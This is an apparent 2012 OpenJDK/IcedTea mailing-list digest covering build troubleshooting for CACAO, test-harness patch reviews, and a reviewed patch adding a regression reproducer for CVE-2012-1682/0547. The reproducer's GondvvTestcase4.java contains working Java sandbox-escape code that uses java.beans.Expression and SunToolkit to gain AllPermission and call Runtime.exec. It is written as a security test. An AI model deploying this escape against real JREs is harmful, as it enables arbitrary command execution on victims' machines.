fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.invocableClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.Invocable.getClass().getMethods() */ protected void testGetMethods() { @@ -423,6 +446,58 @@ } /** + * Test for method javax.script.Invocable.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.invocableClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.Invocable.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.invocableClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.Invocable */ @SuppressWarnings("cast") From stefan at complang.tuwien.ac.at Fri Dec 14 03:15:32 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Fri, 14 Dec 2012 12:15:32 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > I received one of 3 types of errors when attempting to compile: > Exception in thread "main" java.lang.Error: fatal: missing resource bundle: > sun.rmi.rmic.resources.rmic_en_US > or > /opt/icedtea-2.2.1/openjdk.build-boot/tmp/java/java.lang/java/obj/Thread.o:(.data.rel+0xbc): > undefined reference to 'JVM_SetNativeThreadName' > or > Error occured during intialization of VM > Could not reserve enough space for object heap. > (I am running this on a machine with 4GB of RAM, so that should be plenty.) > > So what am I missing? It is a compatibility issue of using > java.1.7.0-openjdk with IcedTea? > I apologize if I've drifted onto the wrong mailing list. If so, set me > straight, but do it gently. ;-) Hi Greg, icedtea7 still picks up an old version of CACAO. My attempts at getting the most recent changes in got stuck in progress (through my own fault, I must add). At the moment, this should work: - get icedtea7 from https://bitbucket.org/Ringdingcoder/icedtea7 - merge with current icedtea7 if necessary/desired - check out CACAO from http://mips.complang.tuwien.ac.at/hg/cacao/ - add --with-cacao-src-dir= to your icedtea configure options - I /think/ you should also specify --disable-bootstrap Cheers From gnu.andrew at redhat.com Fri Dec 14 04:53:06 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Fri, 14 Dec 2012 07:53:06 -0500 (EST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: Message-ID: <1455675352.15897859.1355489586946.JavaMail.root@redhat.com> ----- Original Message ----- > > I received one of 3 types of errors when attempting to compile: > > Exception in thread "main" java.lang.Error: fatal: missing resource > > bundle: > > sun.rmi.rmic.resources.rmic_en_US > > or > > /opt/icedtea-2.2.1/openjdk.build-boot/tmp/java/java.lang/java/obj/Thread.o:(.data.rel+0xbc): > > undefined reference to 'JVM_SetNativeThreadName' > > or > > Error occured during intialization of VM > > Could not reserve enough space for object heap. > > (I am running this on a machine with 4GB of RAM, so that should be > > plenty.) > > > > So what am I missing? It is a compatibility issue of using > > java.1.7.0-openjdk with IcedTea? > > I apologize if I've drifted onto the wrong mailing list. If so, set > > me > > straight, but do it gently. ;-) > > Hi Greg, > > icedtea7 still picks up an old version of CACAO. My attempts at > getting the most recent changes in got stuck in progress (through my > own fault, I must add). > > At the moment, this should work: > > - get icedtea7 from https://bitbucket.org/Ringdingcoder/icedtea7 > - merge with current icedtea7 if necessary/desired > - check out CACAO from http://mips.complang.tuwien.ac.at/hg/cacao/ > - add --with-cacao-src-dir= to your icedtea configure > options > - I /think/ you should also specify --disable-bootstrap > > Cheers > What changes? What should the status of CACAO on 7 be? Last I knew it was broken. Gentoo are quite interested in this for getting 7 support on more archs. -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From jfabriko at redhat.com Fri Dec 14 08:14:34 2012 From: jfabriko at redhat.com (Jana Fabrikova) Date: Fri, 14 Dec 2012 17:14:34 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework In-Reply-To: <50C9AC20.6030603@redhat.com> References: <50C9A7F0.3000201@redhat.com> <50C9AC20.6030603@redhat.com> Message-ID: <50CB506A.9010509@redhat.com> Thank you for your comments, I hope I have improved the code a little, modified patch is attached to this mail, Jana On 12/13/2012 11:21 AM, Jiri Vanek wrote: > On 12/13/2012 11:03 AM, Jana Fabrikova wrote: >> 2012-12-13 Jana Fabrikova >> >> * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: >> Added several new versions of method executeBrowser with lists >> of ContentReaderListeners as arguments. > > It is common to use ..ew versions of (executeBrowser) with lis... > parentheses which measn method/target... >> >> * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: >> Added new versions of the constructor and methods for adding >> ContentReaderListeners using List >> instead of one ContentReaderListener. >> Added a new version of constructor with less arguments (used >> in case when several arguments would be passed as null, thus >> causing ambiguity). > > same >> >> * >> /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: >> >> Modified the call of executeBrowser method with null arguments >> into a call of new method without the null arguments >> (getting rid of an ambiguous call). > > same > >> >> >> I would like to ask for review of the attached patch, >> thank you, >> Jana >> >> AWTFramework_preparations.patch >> >> >> diff --git >> a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> >> --- >> a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> >> +++ >> b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java >> >> @@ -109,7 +109,7 @@ >> try { >> boolean isJavawsTest = isJnlp(launchFile); >> pr = isJavawsTest ? >> server.executeJavawsHeadless(launchFile, null, null) >> - : server.executeBrowser(launchFile, null, null); >> + : server.executeBrowser(launchFile); >> } catch (Exception ex) { >> ServerAccess.logException(ex); >> } finally { >> diff --git >> a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> --- a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> +++ b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java >> @@ -64,6 +64,20 @@ >> public ProcessWrapper() { >> } >> >> + public ProcessWrapper(String toBeExecuted, List >> otherargs, URL u){ >> + Assert.assertNotNull(u); >> + Assert.assertNotNull(toBeExecuted); >> + Assert.assertTrue(toBeExecuted.trim().length() > 1); >> + if (otherargs == null) { >> + otherargs = new ArrayList(1); >> + } >> + List urledArgs = new ArrayList(otherargs); >> + urledArgs.add(0, toBeExecuted); >> + urledArgs.add(u.toString()); >> + this.args = urledArgs; >> + this.vars=null; >> + } >> + > > This smell with doubled code. Can you extract all the duplicate parts? > > >> public ProcessWrapper(String toBeExecuted, List >> otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener >> stderrl, String[] vars) throws Exception { >> Assert.assertNotNull(u); >> Assert.assertNotNull(toBeExecuted); >> @@ -81,6 +95,22 @@ >> >> } >> >> + public ProcessWrapper(String toBeExecuted, List >> otherargs, URL u, List stdoutl, >> List stderrl, String[] vars) throws Exception { >> + Assert.assertNotNull(u); >> + Assert.assertNotNull(toBeExecuted); >> + Assert.assertTrue(toBeExecuted.trim().length() > 1); >> + if (otherargs == null) { >> + otherargs = new ArrayList(1); >> + } >> + List urledArgs = new ArrayList(otherargs); >> + urledArgs.add(0, toBeExecuted); >> + urledArgs.add(u.toString()); >> + this.args = urledArgs; >> + this.addStdOutListeners(stdoutl); >> + this.addStdErrListeners(stderrl); >> + this.vars=vars; >> + } > > This smells with similar duplication. > >> + >> ProcessWrapper(final List args, File dir, >> ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] >> vars) { >> this.args = args; >> this.dir = dir; >> @@ -89,6 +119,14 @@ >> this.vars = vars; >> } >> >> + public ProcessWrapper(final List args, File dir, >> List stdoutl, List >> stderrl, String[] vars) { >> + this.args = args; >> + this.dir = dir; >> + this.addStdOutListeners(stdoutl); >> + this.addStdErrListeners(stderrl); >> + this.vars = vars; >> + } >> + >> public final void addStdOutListener(ContentReaderListener l) { >> if (l == null) { >> return; >> @@ -105,6 +143,22 @@ >> >> } >> >> + public final void addStdOutListeners(List >> l) { >> + if (l == null) { >> + return; >> + } >> + stdoutl.addAll(l); >> + >> + } >> + >> + public final void addStdErrListeners(List >> l) { >> + if (l == null) { >> + return; >> + } >> + stderrl.addAll(l); >> + >> + } >> + >> /** >> * @return the args >> */ >> diff --git >> a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java >> @@ -573,6 +573,10 @@ >> return executeBrowser(getBrowserParams(), resource, stdoutl, >> stderrl); >> } >> >> + public ProcessResult executeBrowser(String resource, >> List stdoutl, List >> stderrl) throws Exception { >> + return executeBrowser(getBrowserParams(), resource, stdoutl, >> stderrl); >> + } >> + >> /** >> * wrapping method to executeProcess (eg: javaws arg arg >> http://localhost:port/resource) >> * will execute default javaws (@see JAVAWS_BUILD_BIN) upon >> default url upon cached server (@see SERVER_NAME @see getPort(), @see >> getInstance())) >> @@ -592,7 +596,7 @@ >> } >> >> public ProcessResult executeBrowser(List otherargs, >> String resource) throws Exception { >> - ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), >> otherargs, getUrlUponThisInstance(resource), null, null, null); >> + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), >> otherargs, getUrlUponThisInstance(resource)); >> rpw.setReactingProcess(getCurrentBrowser());//current >> browser may be null, but it does not metter >> return rpw.execute(); >> } >> @@ -603,8 +607,16 @@ >> return rpw.execute(); >> } >> >> + public ProcessResult executeBrowser(List otherargs, >> String resource, List stdoutl, >> List stderrl) throws Exception { >> + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), >> otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); >> + rpw.setReactingProcess(getCurrentBrowser());// current >> browser may be >> + // null, >> but it does not >> + // matter >> + return rpw.execute(); > > What an nasty indentation. Perhaps you have ide configured to use tabs > as tabs? (should be tabs as spaces, I think tab is 4sapces by default > for ITW) > But maybe just email transformation messed it up. Then please ignore > this... >> + } >> + >> public ProcessResult executeBrowser(Browser b, List >> otherargs, String resource) throws Exception { >> - ProcessWrapper rpw = new ProcessWrapper(b.getBin(), >> otherargs, getUrlUponThisInstance(resource), null, null, null); >> + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), >> otherargs, getUrlUponThisInstance(resource)); >> rpw.setReactingProcess(b); >> return rpw.execute(); >> } >> @@ -615,6 +627,12 @@ >> return rpw.execute(); >> } >> >> + public ProcessResult executeBrowser(Browser b, List >> otherargs, String resource, List stdoutl, >> List stderrl) throws Exception { >> + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), >> otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); >> + rpw.setReactingProcess(b); >> + return rpw.execute(); >> + } >> + >> /** >> * Create resource on http, on 'localhost' on port on which this >> cached instance is running >> * @param resource >> @@ -661,7 +679,7 @@ >> * @throws Exception >> */ >> public static ProcessResult executeProcessUponURL(String >> toBeExecuted, List otherargs, URL u) throws Exception { >> - return new ProcessWrapper(toBeExecuted, otherargs, u, null, >> null, null).execute(); >> + return new ProcessWrapper(toBeExecuted, otherargs, u).execute(); >> } >> >> public static ProcessResult executeProcessUponURL(String >> toBeExecuted, List otherargs, URL u, ContentReaderListener >> stdoutl, ContentReaderListener stderrl) throws Exception { >> > > Otherwise the changes have sense. Please double check that all the > affected codes by small refactoring you included in this patch have no > impact to compilation/runtime of reproducers! > > > Thankx for dooing this > J. > -------------- next part -------------- A non-text attachment was scrubbed... Name: AWTFramework_preparations2.patch Type: text/x-patch Size: 7090 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121214/3d05aa0c/AWTFramework_preparations2.patch From gregjo at yahoo.com Fri Dec 14 10:33:28 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Fri, 14 Dec 2012 10:33:28 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> >Hi Greg, > >icedtea7 still picks up an old version of CACAO. My attempts at >getting the most recent changes in got stuck in progress (through my >own fault, I must add). > >At the moment, this should work: > >- get icedtea7 from https://bitbucket.org/Ringdingcoder/icedtea7 >- merge with current icedtea7 if necessary/desired >- check out CACAO from http://mips.complang.tuwien.ac.at/hg/cacao/ >- add --with-cacao-src-dir= to your icedtea configure options >- I /think/ you should also specify --disable-bootstrap > >Cheers >Thanks, Stephan. Here is what I attempted: # cd /opt # hg clone https://bitbucket.org/Ringdingcoder/icedtea7 # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ Then I noticed that inside icedtea7 there is no "configure" script. There is a configure.ac file, but no main script. So I think your comment to "merge with current icedtea7 if necessary/desired" quickly moves into "necessary". ;-) To attempt that, I downloaded and unpacked this file: http://icedtea.wildebeest.org/download/source/icedtea-2.3.3.tar.gz Then I attempted a merge by doing this: # yes | cp -r icedtea7/* icedtea-2.3.3 That was my best guess at how to maintain the icedtea7 files as the most recent.? Did I make a mistake here? Am I supposed to use Mercurial to merge the current icedtea7 with the customized copy? How? Then I attempted to compile inside the icedtea-2.3.3 directory: # cd icedtea-2.3.3 # ./configure --enable-cacao --disabled-bootstrap --withcacao-src-dir=/opt/cacao At the end of the configure step, the following was displayed: configure: WARNING: unrecognized options: --with-cacao-src-dir So I think I'm still lost. Probably in the merge step. Help, please. :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121214/8483bb47/attachment.html From adomurad at redhat.com Fri Dec 14 12:43:26 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 14 Dec 2012 15:43:26 -0500 Subject: [rfc][icedtea-web] Rewrite of MethodOverloadResolver Message-ID: <50CB8F6E.8060207@redhat.com> Thought I'd do a simple patch to turn the test code embedded in MethodOverloadResolver into a a proper unit test ... unfortunately, my small look into this class lead me to find many subtle bugs -- and coincidentally decide to do it properly. Lots of corner cases covered, and it could probably use unit tests even still, but its a major improvement and I'm a bit tired of looking at it so I'm posting it. Some broken things I uncovered included improper overloading order, method/argument situations that would error-out if they ever occurred (but were valid), and the fact that the JSObject used throughout the class was actually a dummy value used at the bottom of the class. The code was also made a lot cleaner in the process, in the interest of 'doing it right' while fixing it. ChangeLog: 2012-12-14 Adam Domurad Rewrite of MethodOverloadResolver with detailed unittests. * plugin/icedteanp/java/sun/applet/MethodOverloadResolver.java: Rewritten to reduce duplicated code, fix very subtle bugs in never-tested codepaths, obey spec properly. Introduced new helper types where Object[] arrays with special-meaning positions were passed around. * plugin/icedteanp/java/sun/applet/PluginAppletSecurityContext.java: Updated to work with newly introduced types / refactored overload resolver. * tests/netx/unit/sun/applet/MethodOverloadResolverTest.java: In-depth unit tests of hairy details of method overloading in JS<->Java. -------------- next part -------------- A non-text attachment was scrubbed... Name: method-overload-resolver.patch Type: text/x-patch Size: 62296 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121214/3ccffe3d/method-overload-resolver.patch From adomurad at redhat.com Fri Dec 14 12:58:47 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 14 Dec 2012 15:58:47 -0500 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CA03C5.7080500@redhat.com> References: <50CA03C5.7080500@redhat.com> Message-ID: <50CB9307.5030801@redhat.com> On 12/13/2012 11:35 AM, Jiri Vanek wrote: > Ok for head? > > J. I'm assuming this is OK for the repo since this has been made public before. To be exact though this is testing a property of the JRE. > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,42 @@ > + > + > +

archive="BeansStatementExploit.jar" codebase="." width="100" height="20"> > +

> + > + > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp Maybe 'BeansStatementBreakSandbox' would be a bit clearer. > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,61 @@ > + > + > + > + > + BeansStatementExploitApplet > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementExploitApplet > + > + > + > + > + > + > + + documentBase="." > + name="BeansStatementExploitApplet" > + main-class="GondvvMinimal2" > + width="100" > + height="100"> > + > + > + > + > + > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,56 @@ > + > + > + > + > + BeansStatementExploitWS > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementExploitWS > + > + > + > + > + > + > + > + > + > + > + > + > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,49 @@ > +/* GondvvMinimal2.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.applet.Applet; > + > + > +public class GondvvMinimal2 extends Applet { I understand why you chose this name, but I would prefer something more descriptive of the intent of the applet. > + > + @Override > + public void init() { > + GondvvTestcase4.main(new String[0]); > + > + } > + > +} > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,181 @@ > +/* GondvvTestcase4.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.beans.Statement; > +import java.beans.Expression; > + > +import java.lang.reflect.Field; > +import java.net.URL; > +import java.security.*; > +import java.security.cert.Certificate; > +import java.io.InputStreamReader; > +import java.io.BufferedReader; > + > +/** > + * > + * Summary for @ > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682 > + * and > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547 > + */ > +public class GondvvTestcase4 { > + > + public static int runproc(Process proc) throws Exception { > + BufferedReader cmdout = new BufferedReader(new > InputStreamReader(proc.getInputStream())); > + String line; > + while ((line = cmdout.readLine()) != null) { > + System.out.println(line); > + } > + proc.waitFor(); > + return proc.exitValue(); > + } > + > + public static void runcommand_exploit(String cmd) throws Exception { > + Expression exec_ex = new Expression(Runtime.getRuntime(), > "exec", new String[]{cmd}); > + > + Permissions perms = new Permissions(); > + perms.add(new AllPermission()); > + ProtectionDomain protdomain = new ProtectionDomain( > + new CodeSource(new URL("file:///"), new > Certificate[0]), perms); > + AccessControlContext acc = new AccessControlContext(new > ProtectionDomain[]{protdomain}); > + > + Expression tmp_ex = new Expression(Class.class, "forName", > new Object[]{"sun.awt.SunToolkit"}); > + tmp_ex.execute(); > + Class toolkit = (Class) tmp_ex.getValue(); > + > + tmp_ex = new Expression(toolkit, "getField", new > Object[]{Statement.class, "acc"}); > + tmp_ex.execute(); > + ((Field) tmp_ex.getValue()).set(exec_ex, acc); > + exec_ex.execute(); > + > + runproc((Process) exec_ex.getValue()); > + } > + > + public static void runcommand_direct(String cmd) throws Exception { > + runproc(Runtime.getRuntime().exec(cmd)); > + } > + > + public static void main(String[] args) { > + System.out.println("Running GondvvTest"); > + args = new String[]{"/bin/date"}; > + try { > + System.out.println("Directly calling: > Class.forName(\"sun.awt.SunToolkit\")"); > + > + Object cl = Class.forName("sun.awt.SunToolkit"); > + System.out.println("FAIL: " + cl.toString()); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } Can you move the FAIL/OK checks into the testcase class possibly ? I guess its OK as it is, but if you can make the testcase do more checking and not just checking for FAIL it would be good. > + System.out.println(); > + > + > + try { > + System.out.println("Calling: Expression(Class.class, > \"forName\", new String[]{\"sun.awt.SunToolkit\"})"); > + > + Expression ex = new Expression(Class.class, "forName", > new String[]{"sun.awt.SunToolkit"}); > + ex.execute(); > + Object cl = ex.getValue(); > + System.out.println("FAIL: " + cl.toString()); > + System.out.println(); > + System.out.println("Checking if SunToolkit class > reference is usable"); > + try { > + ex = new Expression(cl, "getField", new > Object[]{Byte.class, "SIZE"}); > + ex.execute(); > + System.out.println("FAIL: " + ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + > + try { > + ex = new Expression(cl, "getField", new > Object[]{Statement.class, "acc"}); > + ex.execute(); > + System.out.println("FAIL: " + ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + if (args.length == 0) { > + } ?? > + > + try { > + System.out.println("Running command directly: " + args[0]); > + runcommand_direct(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + try { > + System.out.println("Running command using exploit: " + > args[0]); > + runcommand_exploit(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("FAIL: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); Looks OK but again > + > + > + } > +} > diff -r 855087771e7e > tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java > Mon Sep 03 16:04:41 2012 +0200 > @@ -0,0 +1,82 @@ > +/* BeansStatementExploitTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.annotations.Bug; > +import net.sourceforge.jnlp.browsertesting.BrowserTest; > +import net.sourceforge.jnlp.browsertesting.Browsers; > +import net.sourceforge.jnlp.annotations.NeedsDisplay; > +import net.sourceforge.jnlp.annotations.TestInBrowsers; > +import org.junit.Assert; > + > +import org.junit.Test; > + > +public class BeansStatementExploitTests extends BrowserTest { > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementExploitTestWS() throws Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementExploitWS.jnlp"); > + evaluate(pr); > + } > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementExploitTesWsApplet() throws Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementExploitApplet.jnlp"); > + evaluate(pr); > + } > + > + @Test > + @TestInBrowsers(testIn = {Browsers.all}) > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementExploitTestApplet() throws Exception { > + ProcessResult pr = > server.executeBrowser("/BeansStatementExploit.html"); > + evaluate(pr); > + 